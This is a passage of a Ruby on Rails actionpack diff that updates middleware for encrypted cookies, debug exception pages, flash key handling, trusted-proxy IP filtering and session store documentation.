@@ -435,12 +508,12 @@ module ActionDispatch
         @options = options
         secret = key_generator.generate_key(@options[:encrypted_cookie_salt])
         sign_secret = key_generator.generate_key(@options[:encrypted_signed_cookie_salt])
-        @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+        @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
       end
 
       def [](name)
         if encrypted_message = @parent_jar[name]
-          decrypt_and_verify(encrypted_message)
+          deserialize name, decrypt_and_verify(encrypted_message)
         end
       end
 
@@ -450,9 +523,10 @@ module ActionDispatch
         else
           options = { :value => options }
         end
-        options[:value] = @encryptor.encrypt_and_sign(options[:value])
 
-        raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
+        options[:value] = @encryptor.encrypt_and_sign(serialize(options[:value]))
+
+        raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE
         @parent_jar[name] = options
       end
 
@@ -465,7 +539,7 @@ module ActionDispatch
     end
 
     # UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore
-    # instead of EncryptedCookieJar if config.secret_token and config.secret_key_base
+    # instead of EncryptedCookieJar if secrets.secret_token and secrets.secret_key_base
     # are both set. It reads legacy cookies signed with the old dummy key generator and
     # encrypts and re-saves them using the new key generator to provide a smooth upgrade path.
     class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc:
@@ -473,7 +547,7 @@ module ActionDispatch
 
       def [](name)
         if encrypted_or_signed_message = @parent_jar[name]
-          decrypt_and_verify(encrypted_or_signed_message) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message)
+          deserialize(name, decrypt_and_verify(encrypted_or_signed_message)) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message)
         end
       end
     end
@@ -486,9 +560,11 @@ module ActionDispatch
       status, headers, body = @app.call(env)
 
       if cookie_jar = env['action_dispatch.cookies']
-        cookie_jar.write(headers)
-        if headers[HTTP_HEADER].respond_to?(:join)
-          headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+        unless cookie_jar.committed?
+          cookie_jar.write(headers)
+          if headers[HTTP_HEADER].respond_to?(:join)
+            headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+          end
         end
       end
 
diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
index 0ca1a87645..9082aac271 100644
--- a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
@@ -1,6 +1,10 @@
 require 'action_dispatch/http/request'
 require 'action_dispatch/middleware/exception_wrapper'
 require 'action_dispatch/routing/inspector'
+require 'action_view'
+require 'action_view/base'
+
+require 'pp'
 
 module ActionDispatch
   # This middleware is responsible for logging exceptions and
@@ -8,6 +12,32 @@ module ActionDispatch
   class DebugExceptions
     RESCUES_TEMPLATE_PATH = File.expand_path('../templates', __FILE__)
 
+    class DebugView < ActionView::Base
+      def debug_params(params)
+        clean_params = params.clone
+        clean_params.delete("action")
+        clean_params.delete("controller")
+
+        if clean_params.empty?
+          'None'
+        else
+          PP.pp(clean_params, "", 200)
+        end
+      end
+
+      def debug_headers(headers)
+        if headers.present?
+          headers.inspect.gsub(',', ",\n")
+        else
+          'None'
+        end
+      end
+
+      def debug_hash(object)
+        object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+      end
+    end
+
     def initialize(app, routes_app = nil)
       @app        = app
       @routes_app = routes_app
@@ -35,14 +65,25 @@ module ActionDispatch
 
       if env['action_dispatch.show_detailed_exceptions']
         request = Request.new(env)
-        template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
+        traces = wrapper.traces
+
+        trace_to_show = 'Application Trace'
+        if traces[trace_to_show].empty? && wrapper.rescue_template != 'routing_error'
+          trace_to_show = 'Full Trace'
+        end
+
+        if source_to_show = traces[trace_to_show].first
+          source_to_show_id = source_to_show[:id]
+        end
+
+        template = DebugView.new([RESCUES_TEMPLATE_PATH],
           request: request,
           exception: wrapper.exception,
-          application_trace: wrapper.application_trace,
-          framework_trace: wrapper.framework_trace,
-          full_trace: wrapper.full_trace,
+          traces: traces,
+          show_source_idx: source_to_show_id,
+          trace_to_show: trace_to_show,
           routes_inspector: routes_inspector(exception),
-          source_extract: wrapper.source_extract,
+          source_extracts: wrapper.source_extracts,
           line_number: wrapper.line_number,
           file: wrapper.file
         )
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
index 1de3d14530..5595a73887 100644
--- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -1,21 +1,22 @@
 require 'action_controller/metal/exceptions'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActionDispatch
   class ExceptionWrapper
     cattr_accessor :rescue_responses
     @@rescue_responses = Hash.new(:internal_server_error)
     @@rescue_responses.merge!(
-      'ActionController::RoutingError'             => :not_found,
-      'AbstractController::ActionNotFound'         => :not_found,
-      'ActionController::MethodNotAllowed'         => :method_not_allowed,
-      'ActionController::UnknownHttpMethod'        => :method_not_allowed,
-      'ActionController::NotImplemented'           => :not_implemented,
-      'ActionController::UnknownFormat'            => :not_acceptable,
-      'ActionController::InvalidAuthenticityToken' => :unprocessable_entity,
-      'ActionDispatch::ParamsParser::ParseError'   => :bad_request,
-      'ActionController::BadRequest'               => :bad_request,
-      'ActionController::ParameterMissing'         => :bad_request
+      'ActionController::RoutingError'                => :not_found,
+      'AbstractController::ActionNotFound'            => :not_found,
+      'ActionController::MethodNotAllowed'            => :method_not_allowed,
+      'ActionController::UnknownHttpMethod'           => :method_not_allowed,
+      'ActionController::NotImplemented'              => :not_implemented,
+      'ActionController::UnknownFormat'               => :not_acceptable,
+      'ActionController::InvalidAuthenticityToken'    => :unprocessable_entity,
+      'ActionController::InvalidCrossOriginRequest'   => :unprocessable_entity,
+      'ActionDispatch::ParamsParser::ParseError'      => :bad_request,
+      'ActionController::BadRequest'                  => :bad_request,
+      'ActionController::ParameterMissing'            => :bad_request
     )
 
     cattr_accessor :rescue_templates
@@ -32,6 +33,8 @@ module ActionDispatch
     def initialize(env, exception)
       @env = env
       @exception = original_exception(exception)
+
+      expand_backtrace if exception.is_a?(SyntaxError) || exception.try(:original_exception).try(:is_a?, SyntaxError)
     end
 
     def rescue_template
@@ -54,21 +57,51 @@ module ActionDispatch
       clean_backtrace(:all)
     end
 
+    def traces
+      appplication_trace_with_ids = []
+      framework_trace_with_ids = []
+      full_trace_with_ids = []
+
+      full_trace.each_with_index do |trace, idx|
+        trace_with_id = { id: idx, trace: trace }
+
+        if application_trace.include?(trace)
+          appplication_trace_with_ids << trace_with_id
+        else
+          framework_trace_with_ids << trace_with_id
+        end
+
+        full_trace_with_ids << trace_with_id
+      end
+
+      {
+        "Application Trace" => appplication_trace_with_ids,
+        "Framework Trace" => framework_trace_with_ids,
+        "Full Trace" => full_trace_with_ids
+      }
+    end
+
     def self.status_code_for_exception(class_name)
       Rack::Utils.status_code(@@rescue_responses[class_name])
     end
 
-    def source_extract
-      if application_trace && trace = application_trace.first
-        file, line, _ = trace.split(":")
-        @file = file
-        @line_number = line.to_i
-        source_fragment(@file, @line_number)
+    def source_extracts
+      backtrace.map do |trace|
+        file, line_number = extract_file_and_line_number(trace)
+
+        {
+          code: source_fragment(file, line_number),
+          line_number: line_number
+        }
       end
     end
 
     private
 
+    def backtrace
+      Array(@exception.backtrace)
+    end
+
     def original_exception(exception)
       if registered_original_exception?(exception)
         exception.original_exception
@@ -83,9 +116,9 @@ module ActionDispatch
 
     def clean_backtrace(*args)
       if backtrace_cleaner
-        backtrace_cleaner.clean(@exception.backtrace, *args)
+        backtrace_cleaner.clean(backtrace, *args)
       else
-        @exception.backtrace
+        backtrace
       end
     end
 
@@ -96,7 +129,7 @@ module ActionDispatch
     def source_fragment(path, line)
       return unless Rails.respond_to?(:root) && Rails.root
       full_path = Rails.root.join(path)
-      if File.exists?(full_path)
+      if File.exist?(full_path)
         File.open(full_path, "r") do |file|
           start = [line - 3, 0].max
           lines = file.each_line.drop(start).take(6)
@@ -104,5 +137,18 @@ module ActionDispatch
         end
       end
     end
+
+    def extract_file_and_line_number(trace)
+      # Split by the first colon followed by some digits, which works for both
+      # Windows and Unix path styles.
+      file, line = trace.match(/^(.+?):(\d+).*$/, &:captures) || trace
+      [file, line.to_i]
+    end
+
+    def expand_backtrace
+      @exception.backtrace.unshift(
+        @exception.to_s.split("\n")
+      ).flatten!
+    end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
index 89003e7a5e..59639a010e 100644
--- a/actionpack/lib/action_dispatch/middleware/flash.rb
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/hash/keys'
+
 module ActionDispatch
   class Request < Rack::Request
     # Access the contents of the flash. Use <tt>flash["notice"]</tt> to
@@ -8,7 +10,7 @@ module ActionDispatch
     end
   end
 
-  # The flash provides a way to pass temporary objects between actions. Anything you place in the flash will be exposed
+  # The flash provides a way to pass temporary primitive-types (String, Array, Hash) between actions. Anything you place in the flash will be exposed
   # to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create
   # action that sets <tt>flash[:notice] = "Post successfully created"</tt> before redirecting to a display action that can
   # then expose the flash to its template. Actually, that exposure is automatically done.
@@ -35,8 +37,11 @@ module ActionDispatch
   #   flash.alert = "You must be logged in"
   #   flash.notice = "Post successfully created"
   #
-  # This example just places a string in the flash, but you can put any object in there. And of course, you can put as
-  # many as you like at a time too. Just remember: They'll be gone by the time the next action has been performed.
+  # This example places a string in the flash. And of course, you can put as many as you like at a time too. If you want to pass
+  # non-primitive types, you will have to handle that in your application. Example: To show messages with links, you will have to
+  # use sanitize helper.
+  #
+  # Just remember: They'll be gone by the time the next action has been performed.
   #
   # See docs on the FlashHash class for more details about the flash.
   class Flash
@@ -50,13 +55,14 @@ module ActionDispatch
       end
 
       def []=(k, v)
+        k = k.to_s
         @flash[k] = v
         @flash.discard(k)
         v
       end
 
       def [](k)
-        @flash[k]
+        @flash[k.to_s]
       end
 
       # Convenience accessor for <tt>flash.now[:alert]=</tt>.
@@ -73,27 +79,36 @@ module ActionDispatch
     class FlashHash
       include Enumerable
 
-      def self.from_session_value(value)
-        flash = case value
-                when FlashHash # Rails 3.1, 3.2
-                  new(value.instance_variable_get(:@flashes), value.instance_variable_get(:@used))
-                when Hash # Rails 4.0
-                  new(value['flashes'], value['discard'])
-                else
-                  new
-                end
-
-        flash.tap(&:sweep)
+      def self.from_session_value(value) #:nodoc:
+        case value
+        when FlashHash # Rails 3.1, 3.2
+          flashes = value.instance_variable_get(:@flashes)
+          if discard = value.instance_variable_get(:@used)
+            flashes.except!(*discard)
+          end
+          new(flashes, flashes.keys)
+        when Hash # Rails 4.0
+          flashes = value['flashes']
+          if discard = value['discard']
+            flashes.except!(*discard)
+          end
+          new(flashes, flashes.keys)
+        else
+          new
+        end
       end
 
-      def to_session_value
-        return nil if empty?
-        {'discard' => @discard.to_a, 'flashes' => @flashes}
+      # Builds a hash containing the flashes to keep for the next request.
+      # If there are none to keep, returns nil.
+      def to_session_value #:nodoc:
+        flashes_to_keep = @flashes.except(*@discard)
+        return nil if flashes_to_keep.empty?
+        {'flashes' => flashes_to_keep}
       end
 
       def initialize(flashes = {}, discard = []) #:nodoc:
-        @discard = Set.new(discard)
-        @flashes = flashes
+        @discard = Set.new(stringify_array(discard))
+        @flashes = flashes.stringify_keys
         @now     = nil
       end
 
@@ -106,17 +121,18 @@ module ActionDispatch
       end
 
       def []=(k, v)
+        k = k.to_s
         @discard.delete k
         @flashes[k] = v
       end
 
       def [](k)
-        @flashes[k]
+        @flashes[k.to_s]
       end
 
       def update(h) #:nodoc:
-        @discard.subtract h.keys
-        @flashes.update h
+        @discard.subtract stringify_array(h.keys)
+        @flashes.update h.stringify_keys
         self
       end
 
@@ -125,10 +141,11 @@ module ActionDispatch
       end
 
       def key?(name)
-        @flashes.key? name
+        @flashes.key? name.to_s
       end
 
       def delete(key)
+        key = key.to_s
         @discard.delete key
         @flashes.delete key
         self
@@ -155,7 +172,7 @@ module ActionDispatch
 
       def replace(h) #:nodoc:
         @discard.clear
-        @flashes.replace h
+        @flashes.replace h.stringify_keys
         self
       end
 
@@ -186,6 +203,7 @@ module ActionDispatch
       #    flash.keep            # keeps the entire flash
       #    flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
       def keep(k = nil)
+        k = k.to_s if k
         @discard.subtract Array(k || keys)
         k ? self[k] : self
       end
@@ -195,6 +213,7 @@ module ActionDispatch
       #     flash.discard              # discard the entire flash at the end of the current action
       #     flash.discard(:warning)    # discard only the "warning" entry at the end of the current action
       def discard(k = nil)
+        k = k.to_s if k
         @discard.merge Array(k || keys)
         k ? self[k] : self
       end
@@ -231,6 +250,12 @@ module ActionDispatch
       def now_is_loaded?
         @now
       end
+
+      def stringify_array(array)
+        array.map do |item|
+          item.kind_of?(Symbol) ? item.to_s : item
+        end
+      end
     end
 
     def initialize(app)
diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb
index b426183488..29d43faeed 100644
--- a/actionpack/lib/action_dispatch/middleware/params_parser.rb
+++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb
@@ -47,7 +47,7 @@ module ActionDispatch
         else
           false
         end
-      rescue Exception => e # JSON or Ruby code block errors
+      rescue => e # JSON or Ruby code block errors
         logger(env).debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
 
         raise ParseError.new(e.message, e)
diff --git a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
index cbb2d475b1..040cb215b7 100644
--- a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
@@ -1,4 +1,14 @@
 module ActionDispatch
+  # When called, this middleware renders an error page. By default if an HTML
+  # response is expected it will render static error pages from the `/public`
+  # directory. For example when this middleware receives a 500 response it will
+  # render the template found in `/public/500.html`.
+  # If an internationalized locale is set, this middleware will attempt to render
+  # the template in `/public/500.<locale>.html`. If an internationalized template
+  # is not found it will fall back on `/public/500.html`.
+  #
+  # When a request with a content type other than HTML is made, this middleware
+  # will attempt to convert error information into the appropriate response type.
   class PublicExceptions
     attr_accessor :public_path
 
@@ -32,9 +42,8 @@ module ActionDispatch
     end
 
     def render_html(status)
-      found = false
-      path = "#{public_path}/#{status}.#{I18n.locale}.html" if I18n.locale
-      path = "#{public_path}/#{status}.html" unless path && (found = File.exist?(path))
+      path = "#{public_path}/#{status}.#{I18n.locale}.html"
+      path = "#{public_path}/#{status}.html" unless (found = File.exist?(path))
 
       if found || File.exist?(path)
         render_format(status, 'text/html', File.read(path))
diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb
index 2f6968eb2e..15b5a48535 100644
--- a/actionpack/lib/action_dispatch/middleware/reloader.rb
+++ b/actionpack/lib/action_dispatch/middleware/reloader.rb
@@ -1,3 +1,5 @@
+require 'active_support/deprecation/reporting'
+
 module ActionDispatch
   # ActionDispatch::Reloader provides prepare and cleanup callbacks,
   # intended to assist with code reloading during development.
@@ -25,19 +27,26 @@ module ActionDispatch
   #
   class Reloader
     include ActiveSupport::Callbacks
+    include ActiveSupport::Deprecation::Reporting
 
-    define_callbacks :prepare, :scope => :name
-    define_callbacks :cleanup, :scope => :name
+    define_callbacks :prepare
+    define_callbacks :cleanup
 
     # Add a prepare callback. Prepare callbacks are run before each request, prior
     # to ActionDispatch::Callback's before callbacks.
     def self.to_prepare(*args, &block)
+      unless block_given?
+        warn "to_prepare without a block is deprecated. Please use a block"
+      end
       set_callback(:prepare, *args, &block)
     end
 
     # Add a cleanup callback. Cleanup callbacks are run after each request is
     # complete (after #close is called on the response body).
     def self.to_cleanup(*args, &block)
+      unless block_given?
+        warn "to_cleanup without a block is deprecated. Please use a block"
+      end
       set_callback(:cleanup, *args, &block)
     end
 
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
index 8879291dbd..7c4236518d 100644
--- a/actionpack/lib/action_dispatch/middleware/remote_ip.rb
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -1,3 +1,5 @@
+require 'ipaddr'
+
 module ActionDispatch
   # This middleware calculates the IP address of the remote client that is
   # making the request. It does this by checking various headers that could
@@ -11,7 +13,7 @@ module ActionDispatch
   # Some Rack servers concatenate repeated headers, like {HTTP RFC 2616}[http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2]
   # requires. Some Rack servers simply drop preceding headers, and only report
   # the value that was {given in the last header}[http://andre.arko.net/2011/12/26/repeated-headers-and-ruby-web-servers].
-  # If you are behind multiple proxy servers (like Nginx to HAProxy to Unicorn)
+  # If you are behind multiple proxy servers (like NGINX to HAProxy to Unicorn)
   # then you should test your Rack server to make sure your data is good.
   #
   # IF YOU DON'T USE A PROXY, THIS MAKES YOU VULNERABLE TO IP SPOOFING.
@@ -28,14 +30,14 @@ module ActionDispatch
     # guaranteed by the IP specification to be private addresses. Those will
     # not be the ultimate client IP in production, and so are discarded. See
     # http://en.wikipedia.org/wiki/Private_network for details.
-    TRUSTED_PROXIES = %r{
-      ^127\.0\.0\.1$                | # localhost IPv4
-      ^::1$                         | # localhost IPv6
-      ^fc00:                        | # private IPv6 range fc00
-      ^10\.                         | # private IPv4 range 10.x.x.x
-      ^172\.(1[6-9]|2[0-9]|3[0-1])\.| # private IPv4 range 172.16.0.0 .. 172.31.255.255
-      ^192\.168\.                     # private IPv4 range 192.168.x.x
-    }x
+    TRUSTED_PROXIES = [
+      "127.0.0.1",      # localhost IPv4
+      "::1",            # localhost IPv6
+      "fc00::/7",       # private IPv6 range fc00::/7
+      "10.0.0.0/8",     # private IPv4 range 10.x.x.x
+      "172.16.0.0/12",  # private IPv4 range 172.16.0.0 .. 172.31.255.255
+      "192.168.0.0/16", # private IPv4 range 192.168.x.x
+    ].map { |proxy| IPAddr.new(proxy) }
 
     attr_reader :check_ip, :proxies
 
@@ -47,24 +49,24 @@ module ActionDispatch
     # clients (like WAP devices), or behind proxies that set headers in an
     # incorrect or confusing way (like AWS ELB).
     #
-    # The +custom_trusted+ argument can take a regex, which will be used
-    # instead of +TRUSTED_PROXIES+, or a string, which will be used in addition
-    # to +TRUSTED_PROXIES+. Any proxy setup will put the value you want in the
-    # middle (or at the beginning) of the X-Forwarded-For list, with your proxy
-    # servers after it. If your proxies aren't removed, pass them in via the
-    # +custom_trusted+ parameter. That way, the middleware will ignore those
-    # IP addresses, and return the one that you want.
+    # The +custom_proxies+ argument can take an Array of string, IPAddr, or
+    # Regexp objects which will be used instead of +TRUSTED_PROXIES+. If a
+    # single string, IPAddr, or Regexp object is provided, it will be used in
+    # addition to +TRUSTED_PROXIES+. Any proxy setup will put the value you
+    # want in the middle (or at the beginning) of the X-Forwarded-For list,
+    # with your proxy servers after it. If your proxies aren't removed, pass
+    # them in via the +custom_proxies+ parameter. That way, the middleware will
+    # ignore those IP addresses, and return the one that you want.
     def initialize(app, check_ip_spoofing = true, custom_proxies = nil)
       @app = app
       @check_ip = check_ip_spoofing
-      @proxies = case custom_proxies
-        when Regexp
-          custom_proxies
-        when nil
-          TRUSTED_PROXIES
-        else
-          Regexp.union(TRUSTED_PROXIES, custom_proxies)
-        end
+      @proxies = if custom_proxies.blank?
+        TRUSTED_PROXIES
+      elsif custom_proxies.respond_to?(:any?)
+        custom_proxies
+      else
+        Array(custom_proxies) + TRUSTED_PROXIES
+      end
     end
 
     # Since the IP address may not be needed, we store the object here
@@ -80,32 +82,6 @@ module ActionDispatch
     # into an actual IP address. If the ActionDispatch::Request#remote_ip method
     # is called, this class will calculate the value and then memoize it.
     class GetIp
-
-      # This constant contains a regular expression that validates every known
-      # form of IP v4 and v6 address, with or without abbreviations, adapted
-      # from {this gist}[https://gist.github.com/gazay/1289635].
-      VALID_IP = %r{
-        (^(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})){3}$)                                                        | # ip v4
-        (^(
-        (([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4})                                                                                                                   | # ip v6 not abbreviated
-        (([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4})                                                                                                                  | # ip v6 with double colon in the end
-        (([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})                                                                                              | # - ip addresses v6
-        (([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})                                                                                          | # - with
-        (([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})                                                                                          | # - double colon
-        (([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})                                                                                          | # - in the middle
-        (([0-9A-Fa-f]{1,4}:){6} ((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3} (\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))                            | # ip v6 with compatible to v4
-        (([0-9A-Fa-f]{1,4}:){1,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))                           | # ip v6 with compatible to v4
-        (([0-9A-Fa-f]{1,4}:){1}:([0-9A-Fa-f]{1,4}:){0,4}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))     | # ip v6 with compatible to v4
-        (([0-9A-Fa-f]{1,4}:){0,2}:([0-9A-Fa-f]{1,4}:){0,3}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))   | # ip v6 with compatible to v4
-        (([0-9A-Fa-f]{1,4}:){0,3}:([0-9A-Fa-f]{1,4}:){0,2}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))   | # ip v6 with compatible to v4
-        (([0-9A-Fa-f]{1,4}:){0,4}:([0-9A-Fa-f]{1,4}:){1}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))     | # ip v6 with compatible to v4
-        (::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d) |(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))                         | # ip v6 with compatible to v4
-        ([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})                                                                                               | # ip v6 with compatible to v4
-        (::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})                                                                                                               | # ip v6 with double colon at the beginning
-        (([0-9A-Fa-f]{1,4}:){1,7}:)                                                                                                                                  # ip v6 without ending
-        )$)
-      }x
-
       def initialize(env, middleware)
         @env      = env
         @check_ip = middleware.check_ip
@@ -118,7 +94,7 @@ module ActionDispatch
       #
       # REMOTE_ADDR will be correct if the request is made directly against the
       # Ruby process, on e.g. Heroku. When the request is proxied by another
-      # server like HAProxy or Nginx, the IP address that made the original
+      # server like HAProxy or NGINX, the IP address that made the original
       # request will be put in an X-Forwarded-For header. If there are multiple
       # proxies, that header may contain a list of IPs. Other proxy services
       # set the Client-Ip header instead, so we check that too.
@@ -143,7 +119,7 @@ module ActionDispatch
         # proxies with incompatible IP header conventions, and there is no way
         # for us to determine which header is the right one after the fact.
         # Since we have no idea, we give up and explode.
-        should_check_ip = @check_ip && client_ips.last
+        should_check_ip = @check_ip && client_ips.last && forwarded_ips.last
         if should_check_ip && !forwarded_ips.include?(client_ips.last)
           # We don't know which came from the proxy, and which from the user
           raise IpSpoofAttackError, "IP spoofing attack?! " +
@@ -173,12 +149,22 @@ module ActionDispatch
       def ips_from(header)
         # Split the comma-separated list into an array of strings
         ips = @env[header] ? @env[header].strip.split(/[,\s]+/) : []
-        # Only return IPs that are valid according to the regex
-        ips.select{ |ip| ip =~ VALID_IP }
+        ips.select do |ip|
+          begin
+            # Only return IPs that are valid according to the IPAddr#new method
+            range = IPAddr.new(ip).to_range
+            # we want to make sure nobody is sneaking a netmask in
+            range.begin == range.end
+          rescue ArgumentError
+            nil
+          end
+        end
       end
 
       def filter_proxies(ips)
-        ips.reject { |ip| ip =~ @proxies }
+        ips.reject do |ip|
+          @proxies.any? { |proxy| proxy === ip }
+        end
       end
 
     end
diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb
index 5d1740d0d4..25658bac3d 100644
--- a/actionpack/lib/action_dispatch/middleware/request_id.rb
+++ b/actionpack/lib/action_dispatch/middleware/request_id.rb
@@ -5,7 +5,7 @@ module ActionDispatch
   # Makes a unique request id available to the action_dispatch.request_id env variable (which is then accessible through
   # ActionDispatch::Request#uuid) and sends the same id to the client via the X-Request-Id header.
   #
-  # The unique request id is either based off the X-Request-Id header in the request, which would typically be generated
+  # The unique request id is either based on the X-Request-Id header in the request, which would typically be generated
   # by a firewall, load balancer, or the web server, or, if this header is not available, a random uuid. If the
   # header is accepted from the outside world, we sanitize it to a max of 255 chars and alphanumeric and dashes only.
   #
diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
index 1db6194271..625050dc4b 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
@@ -16,9 +16,9 @@ module ActionDispatch
 
       # Get a session from the cache.
       def get_session(env, sid)
-        sid ||= generate_sid
-        session = @cache.read(cache_key(sid))
-        session ||= {}
+        unless sid and session = @cache.read(cache_key(sid))
+          sid, session = generate_sid, {}
+        end
         [sid, session]
       end
 
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index b9eb8036e9..ed25c67ae5 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -15,8 +15,8 @@ module ActionDispatch
     # best possible option given your application's configuration.
     #
     # If you only have secret_token set, your cookies will be signed, but
-    # not encrypted. This means a user cannot alter his +user_id+ without
-    # knowing your app's secret key, but can easily read his +user_id+. This
+    # not encrypted. This means a user cannot alter their +user_id+ without
+    # knowing your app's secret key, but can easily read their +user_id+. This
     # was the default for Rails 3 apps.
     #
     # If you have secret_key_base set, your cookies will be encrypted. This
@@ -29,11 +29,12 @@ module ActionDispatch
     #
     # Configure your session store in config/initializers/session_store.rb:
     #
-    #   Myapp::Application.config.session_store :cookie_store, key: '_your_app_session'
+    #   Rails.application.config.session_store :cookie_store, key: '_your_app_session'
     #
-    # Configure your secret key in config/initializers/secret_token.rb:
+    # Configure your secret key in config/secrets.yml:
     #
-    #   Myapp::Application.config.secret_key_base 'secret key'
+    #   development:
+    #     secret_key_base: 'secret key'
     #
     # To generate a secret key for an existing application, run `rake secret`.
     #
@@ -48,9 +49,9 @@ module ActionDispatch
     # reasonably sure that your upgrade is otherwise complete. Additionally,
     # you should take care to make sure you are not relying on the ability to
     # decode signed cookies generated by your app in external applications or
-    # Javascript before upgrading.
+    # JavaScript before upgrading.
     #
-    # Note that changing digest or secret invalidates all existing sessions!
+    # Note that changing the secret key will invalidate all existing sessions!
     class CookieStore < Rack::Session::Abstract::ID
       include Compatibility
       include StaleSessionCheck
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
index fcc5bc12c4..f0779279c1 100644
--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -29,8 +29,11 @@ module ActionDispatch
     def call(env)
       @app.call(env)
     rescue Exception => exception
-      raise exception if env['action_dispatch.show_exceptions'] == false
-      render_exception(env, exception)
+      if env['action_dispatch.show_exceptions'] == false
+        raise exception
+      else
+        render_exception(env, exception)
+      end
     end
 
     private
@@ -39,6 +42,7 @@ module ActionDispatch
       wrapper = ExceptionWrapper.new(env, exception)
       status  = wrapper.status_code
       env["action_dispatch.exception"] = wrapper.exception
+      env["action_dispatch.original_path"] = env["PATH_INFO"]
       env["PATH_INFO"] = "/#{status}"
       response = @exceptions_app.call(env)
       response[1]['X-Cascade'] == 'pass' ? pass_response(status) : response
diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb
